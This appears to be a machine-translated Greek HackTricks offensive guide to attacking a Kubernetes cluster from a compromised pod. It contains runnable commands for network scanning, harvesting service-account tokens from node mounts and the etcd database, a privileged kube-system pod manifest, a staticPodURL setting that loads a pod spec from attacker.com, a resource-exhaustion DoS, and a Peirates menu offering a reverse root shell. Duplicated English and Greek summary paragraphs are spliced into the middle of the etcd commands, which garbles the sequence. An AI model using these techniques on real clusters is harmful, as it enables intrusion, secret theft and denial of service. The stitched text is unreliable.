Attacking Kubernetes from inside a Pod

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Έξοδος από το Pod

Αν είστε αρκετά τυχεροί, μπορείτε να δραπετεύσετε από αυτό προς τον κόμβο:

Δραπέτευση από το pod

Για να προσπαθήσετε να δραπετεύσετε από τα pods, ίσως χρειαστεί να εξελίξετε προνόμια πρώτα, μερικές τεχνικές για να το κάνετε:

Μπορείτε να ελέγξετε αυτές τις διαρρήξεις docker για να δοκιμάσετε να δραπετεύσετε από ένα pod που έχετε διαρρεύσει:

Κατάχρηση Προνομίων Kubernetes

Όπως εξηγείται στην ενότητα για την απαρίθμηση του kubernetes:

Kubernetes Enumeration

Συνήθως τα pods τρέχουν με ένα token λογαριασμού υπηρεσίας μέσα σε αυτά. Αυτός ο λογαριασμός υπηρεσίας μπορεί να έχει κάποια προνόμια συνδεδεμένα με αυτόν που θα μπορούσατε να καταχραστείτε για να μετακινηθείτε σε άλλα pods ή ακόμα και να δραπετεύσετε προς τους κόμβους που έχουν ρυθμιστεί μέσα στο cluster. Δείτε πώς στο:

Abusing Roles/ClusterRoles in Kubernetes

Κατάχρηση Προνομίων Στο Cloud

Αν το pod τρέχει μέσα σε ένα περιβάλλον cloud μπορείτε να διαρρεύσετε ένα τοκέν από το τέλειο μεταδεδομένων και να εξελίξετε προνόμια χρησιμοποιώντας το.

Αναζήτηση ευάλωτων υπηρεσιών δικτύου

Καθώς βρίσκεστε μέσα στο περιβάλλον Kubernetes, αν δεν μπορείτε να εξελίξετε προνόμια καταχρηστικά τα τρέχοντα προνόμια των pods και δεν μπορείτε να δραπετεύσετε από το container, θα πρέπει να αναζητήσετε πιθανά ευάλωτες υπηρεσίες.

Υπηρεσίες

Για αυτόν τον σκοπό, μπορείτε να προσπαθήσετε να λάβετε όλες τις υπηρεσίες του περιβάλλοντος kubernetes:

kubectl get svc --all-namespaces

Προεπιλεγμένα, το Kubernetes χρησιμοποιεί ένα επίπεδο δικτύωσης επίπεδο, το οποίο σημαίνει ότι οποιοδήποτε pod/service εντός του cluster μπορεί να επικοινωνεί με άλλα. Τα namespaces εντός του cluster δεν έχουν καμία προεπιλεγμένη περιοριστική ασφάλεια δικτύου. Οποιοσδήποτε στο namespace μπορεί να επικοινωνεί με άλλα namespaces.

Σάρωση

Το παρακάτω σενάριο Bash (που προέρχεται από ένα εργαστήριο Kubernetes) θα εγκαταστήσει και θα σαρώσει τις διευθύνσεις IP του cluster Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Ρίξτε μια ματιά στην ακόλουθη σελίδα για να μάθετε πώς μπορείτε να επιτεθείτε σε συγκεκριμένες υπηρεσίες του Kubernetes για να διακινδυνεύσετε άλλα pods/ολόκληρο το περιβάλλον:

Pentesting Kubernetes Services

Καταγραφή

Στην περίπτωση που το υποβαθμισμένο pod εκτελεί κάποια ευαίσθητη υπηρεσία όπου άλλα pods χρειάζεται να πιστοποιηθούν, ενδέχεται να μπορείτε να αποκτήσετε τα διαπιστευτήρια που στέλνονται από τα άλλα pods καταγράφοντας τις τοπικές επικοινωνίες.

Διακίνδυνευση Δικτύου

Από προεπιλογή, τεχνικές όπως η διακίνδυνευση ARP (και χάρη σε αυτήν τη διακίνδυνευση DNS) λειτουργούν στο δίκτυο του Kubernetes. Στη συνέχεια, μέσα σε ένα pod, αν έχετε τη δυνατότητα NET_RAW (η οποία υπάρχει από προεπιλογή), θα μπορείτε να στείλετε προσαρμοσμένα διαμορφωμένα πακέτα δικτύου και να πραγματοποιήσετε επιθέσεις MitM μέσω διακίνδυνευσης ARP σε όλα τα pods που εκτελούνται στον ίδιο κόμβο. Επιπλέον, αν το κακόβουλο pod εκτελείται στον ίδιο κόμβο με τον Διακομιστή DNS, θα μπορείτε να πραγματοποιήσετε μια επίθεση DNS Spoofing σε όλα τα pods στο cluster.

Kubernetes Network Attacks

Node DoS

Δεν υπάρχει καθορισμός πόρων στα αρχεία μεταδεδομένων του Kubernetes και δεν εφαρμόζονται ορία περιοχών για τους containers. Ως επιτιθέμενοι, μπορούμε να καταναλώσουμε όλους τους πόρους όπου εκτελείται το pod/deployment και να αφαιρέσουμε πόρους από άλλα και να προκαλέσουμε ένα DoS στο περιβάλλον.

Αυτό μπορεί να γίνει με ένα εργαλείο όπως το stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Μπορείτε να δείτε τη διαφορά ενώ τρέχει το stress-ng και μετά

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Μετά την εκμετάλλευση του Node

Αν καταφέρετε να δραπετεύσετε από το container υπάρχουν μερικά ενδιαφέροντα πράγματα που θα βρείτε στον κόμβο:

  • Η διαδικασία Container Runtime (Docker)

  • Περισσότερα pods/containers που τρέχουν στον κόμβο και μπορείτε να καταχραστείτε όπως αυτό (περισσότερα tokens)

  • Ολόκληρο το σύστημα αρχείων και το ΛΣ γενικά

  • Το Υπηρεσία Kube-Proxy που ακούει

  • Η Υπηρεσία Kubelet που ακούει. Ελέγξτε τα αρχεία ρυθμίσεων:

  • Κατάλογος: /var/lib/kubelet/

  • /var/lib/kubelet/kubeconfig

  • /var/lib/kubelet/kubelet.conf

  • /var/lib/kubelet/config.yaml

  • /var/lib/kubelet/kubeadm-flags.env

  • /etc/kubernetes/kubelet-kubeconfig

  • Άλλα κοινά αρχεία Kubernetes:

  • $HOME/.kube/config - Ρυθμίσεις Χρήστη

  • /etc/kubernetes/kubelet.conf- Κανονικές Ρυθμίσεις

  • /etc/kubernetes/bootstrap-kubelet.conf - Ρυθμίσεις Bootstrap

  • /etc/kubernetes/manifests/etcd.yaml - Ρυθμίσεις etcd

  • /etc/kubernetes/pki - Κλειδιά Kubernetes

Εύρεση node kubeconfig

Αν δεν μπορείτε να βρείτε το αρχείο kubeconfig σε έναν από τους προηγούμενα σχολιασμένους διαδρόμους, ελέγξτε το όρισμα --kubeconfig της διαδικασίας kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Κλοπή Μυστικών

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Το σενάριο can-they.sh θα ανακτήσει αυτόματα τα τοκεν των άλλων pods και θα ελέγξει αν έχουν την άδεια που ψάχνετε (αντί να το ελέγχετε ένα-ένα):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Προνομιούχα DaemonSets

Ένα DaemonSet είναι ένα pod που θα τρέχει σε όλους τους κόμβους του cluster. Επομένως, αν ένα DaemonSet ρυθμιστεί με ένα προνομιούχο λογαριασμό υπηρεσίας, σε ΟΛΟΥΣ τους κόμβους θα μπορείτε να βρείτε το διακριτικό εκείνου του προνομιούχου λογαριασμού που θα μπορούσατε να καταχραστείτε.

Η εκμετάλλευση είναι η ίδια με αυτήν της προηγούμενης ενότητας, αλλά τώρα δεν εξαρτάστε από την τύχη.

Εναλλαγή στο Cloud

Αν το cluster διαχειρίζεται από έναν υπηρεσία cloud, συνήθως ο Κόμβος θα έχει διαφορετική πρόσβαση στο τέλειο μεταδεδομένων σε σχέση με το Pod. Επομένως, προσπαθήστε να έχετε πρόσβαση στο τέλειο μεταδεδομένων από τον κόμβο (ή από ένα pod με hostNetwork σε True):

Kubernetes Pivoting to Clouds

Κλοπή του etcd

Αν μπορείτε να καθορίσετε το όνομαΚόμβου του Κόμβου που θα εκτελέσει το container, αποκτήστε ένα κέλυφος μέσα σε έναν κόμβο ελέγχου και αποκτήστε τη βάση δεδομένων etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane κόμβοι έχουν τον ρόλο master και σε σύνολα διαχειριζόμενα στο cloud δεν θα μπορείτε να εκτελέσετε τίποτα σε αυτούς.

Διαβάστε μυστικά από το etcd

Αν μπορείτε να εκτελέσετε το pod σας σε έναν κόμβο ελέγχου χρησιμοποιώντας τον επιλογέα nodeName στο αντικείμενο προδιαγραφών του pod, μπορείτε να έχετε εύκολη πρόσβαση στη βάση δεδομένων etcd, η οποία περιέχει όλη τη διαμόρφωση του σύνολου, συμπεριλαμβανομένων όλων των μυστικών.

Παρακάτω υπάρχει ένας γρήγορος και βρώμικος τρόπος να ανακτήσετε μυστικά από το etcd αν τρέχει στον κόμβο ελέγχου στον οποίο βρίσκεστε. Αν θέλετε μια πιο κομψή λύση που ξεκινά ένα pod με το εργαλείο πελάτη etcd etcdctl και χρησιμοποιεί τα διαπιστευτήρια του κόμβου ελέγχου για να συνδεθεί στο etcd οπουδήποτε τρέχει, ελέγξτε το αυτό το παράδειγμα μεταφοράς από τον @mauilion.

Ελέγξτε αν το etcd τρέχει στον κόμβο ελέγχου και δείτε πού βρίσκεται η βάση δεδομένων (Αυτό είναι σε ένα σύνολο που δημιουργήθηκε με το kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

In a Kubernetes cluster, if an attacker gains access to a pod, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:

1. **Pod Escape**: Exploiting misconfigurations to break out of the pod and access the host machine.
2. **Service Account Token Theft**: Stealing service account tokens to impersonate the account and access cluster resources.
3. **Pod Network Sniffing**: Monitoring pod network traffic to intercept sensitive information.
4. **Pod to Node Lateral Movement**: Moving from one compromised pod to another within the same node.
5. **Pod to Pod Lateral Movement**: Moving laterally between pods on different nodes to expand control within the cluster.

To prevent these attacks, ensure proper RBAC policies, network segmentation, and pod security configurations are in place.
<h2>Επίθεση στο Kubernetes από μέσα σε ένα Pod</h2>

Σε ένα cluster του Kubernetes, αν ένας εισβολέας κερδίσει πρόσβαση σε ένα pod, μπορεί να εκτελέσει διάφορες επιθέσεις για να εξελίξει δικαιώματα και να μετακινηθεί πλαγίως εντός του cluster. Κάποιες συνήθεις τεχνικές περιλαμβάνουν:

1. **Απόδραση από το Pod**: Εκμεταλλευόμενος λανθασμένες ρυθμίσεις για να βγει από το pod και να έχει πρόσβαση στον κεντρικό υπολογιστή.
2. **Κλοπή Διακριτικού Λογαριασμού Υπηρεσίας**: Κλέβοντας διακριτικά λογαριασμού υπηρεσίας για να προσωποποιήσει τον λογαριασμό και να έχει πρόσβαση σε πόρους του cluster.
3. **Κατάσκοπος Δικτύου του Pod**: Παρακολουθώντας την κίνηση δικτύου του pod για να παρεμβαίνει σε ευαίσθητες πληροφορίες.
4. **Πλαγία Κίνηση από το Pod στον Κόμβο**: Μετακινούμενος από ένα υποβαθμισμένο pod σε ένα άλλο εντός του ίδιου κόμβου.
5. **Πλαγία Κίνηση από το Pod στο Pod**: Μετακινούμενος πλαγίως μεταξύ pods σε διαφορετικούς κόμβους για να επεκτείνει τον έλεγχο εντός του cluster.

Για να αποτρέψετε αυτές τις επιθέσεις, βεβαιωθείτε ότι υπάρχουν κατάλληλες πολιτικές RBAC, διαχωρισμός δικτύου και ρυθμίσεις ασφαλείας του pod.
data-dir=/var/lib/etcd

Προβολή των δεδομένων στη βάση δεδομένων etcd:

strings /var/lib/etcd/member/snap/db | less

Εξαγάγετε τα τοκενς από τη βάση δεδομένων και εμφανίστε το όνομα του λογαριασμού υπηρεσίας

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Ίδια εντολή, αλλά με μερικά greps για να επιστρέψει μόνο το προεπιλεγμένο τοκεν στο namespace kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod

When an attacker gains access to a Kubernetes pod, they are already inside the cluster and can perform various attacks to escalate their privileges and move laterally within the cluster.

### Privilege Escalation

#### Exploiting Service Accounts

Service accounts in Kubernetes are used by pods to interact with the API server. If an attacker gains access to a pod with highly privileged service account credentials, they can abuse these credentials to escalate their privileges within the cluster.

### Moving Laterally

#### Accessing the Kubernetes API Server

Once inside a pod, an attacker can attempt to access the Kubernetes API server using tools like `kubectl` or by sending direct API requests. This can allow the attacker to gather information about the cluster, deploy malicious workloads, or even take control of the entire cluster.

#### Exploiting Misconfigurations

Attackers can also look for misconfigurations within the cluster that may allow them to move laterally. This could include weak RBAC policies, exposed dashboards, or insecure network policies that enable communication with other pods.

By understanding these attack techniques, security professionals can better defend their Kubernetes clusters and prevent unauthorized access from within a compromised pod.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Μόνιμη Αντοχή Στατικών/Καθρεφτισμένων Pods

Τα Στατικά Pods διαχειρίζονται απευθείας από τον δαίμονα kubelet σε ένα συγκεκριμένο κόμβο, χωρίς τον διακομιστή API να τα παρατηρεί. Αντίθετα από τα Pods που διαχειρίζονται από το επίπεδο ελέγχου (για παράδειγμα, ένα Deployment); αντ' αυτού, το kubelet παρακολουθεί κάθε στατικό Pod (και το επανεκκινεί αν αποτύχει).

Συνεπώς, τα στατικά Pods είναι πάντα δεμένα με ένα Kubelet σε ένα συγκεκριμένο κόμβο.

Το kubelet προσπαθεί αυτόματα να δημιουργήσει έναν καθρέφτη Pod στον διακομιστή API του Kubernetes για κάθε στατικό Pod. Αυτό σημαίνει ότι τα Pods που εκτελούνται σε έναν κόμβο είναι ορατά στον διακομιστή API, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pods θα έχουν ως κατάληξη το όνομα του κόμβου με προηγούμενο παύλα.

Το spec ενός στατικού Pod δεν μπορεί να αναφέρεται σε άλλα αντικείμενα του API (π.χ., ServiceAccount, ConfigMap, Secret, κλπ.). Έτσι δεν μπορείτε να εκμεταλλευτείτε αυτήν τη συμπεριφορά για να ξεκινήσετε ένα pod με ένα αυθαίρετο serviceAccount στον τρέχοντα κόμβο για να διακινδυνεύσετε το cluster. Ωστόσο, μπορείτε να χρησιμοποιήσετε αυτό για να εκτελέσετε pods σε διαφορετικά namespaces (σε περίπτωση που αυτό είναι χρήσιμο για κάποιο λόγο).

Αν βρίσκεστε μέσα στον κόμβο του οικοδεσπότη, μπορείτε να τον κάνετε να δημιουργήσει ένα στατικό pod μέσα στον εαυτό του. Αυτό είναι πολύ χρήσιμο επειδή μπορεί να σας επιτρέψει να δημιουργήσετε ένα pod σε ένα διαφορετικό namespace όπως το kube-system.

Για να δημιουργήσετε ένα στατικό pod, η τεκμηρίωση είναι μεγάλη βοήθεια. Βασικά χρειάζεστε 2 πράγματα:

  • Ρύθμιση της παραμέτρου --pod-manifest-path=/etc/kubernetes/manifests στην υπηρεσία kubelet, ή στην διαμόρφωση kubelet (staticPodPath) και επανεκκίνηση της υπηρεσίας

  • Δημιουργία του ορισμού στο ορισμό pod στο /etc/kubernetes/manifests

Ένας πιο κρυφός τρόπος θα ήταν:

  • Τροποποιήστε την παράμετρο staticPodURL από το αρχείο διαμόρφωσης του kubelet και ορίστε κάτι σαν staticPodURL: http://attacker.com:8765/pod.yaml. Αυτό θα κάνει τη διαδικασία kubelet να δημιουργήσει ένα στατικό pod παίρνοντας τη διαμόρφωση από τον καθορισμένο URL.

Παράδειγμα της διαμόρφωσης pod για τη δημιουργία ενός προνομιούχου pod στο kube-system που προέρχεται από εδώ:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Διαγραφή pods + μη προγραμματισμός κόμβων

Εάν ένας εισβολέας έχει διαρρεύσει έναν κόμβο και μπορεί να διαγράψει pods από άλλους κόμβους και να κάνει άλλους κόμβους ανίκανους να εκτελέσουν pods, τα pods θα επανεκκινηθούν στον διαρρεύσαντα κόμβο και θα μπορέσει να κλέψει τα tokens που εκτελούνται σε αυτά. Για περισσότερες πληροφορίες ακολουθήστε αυτούς τους συνδέσμους.

Αυτόματα Εργαλεία

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated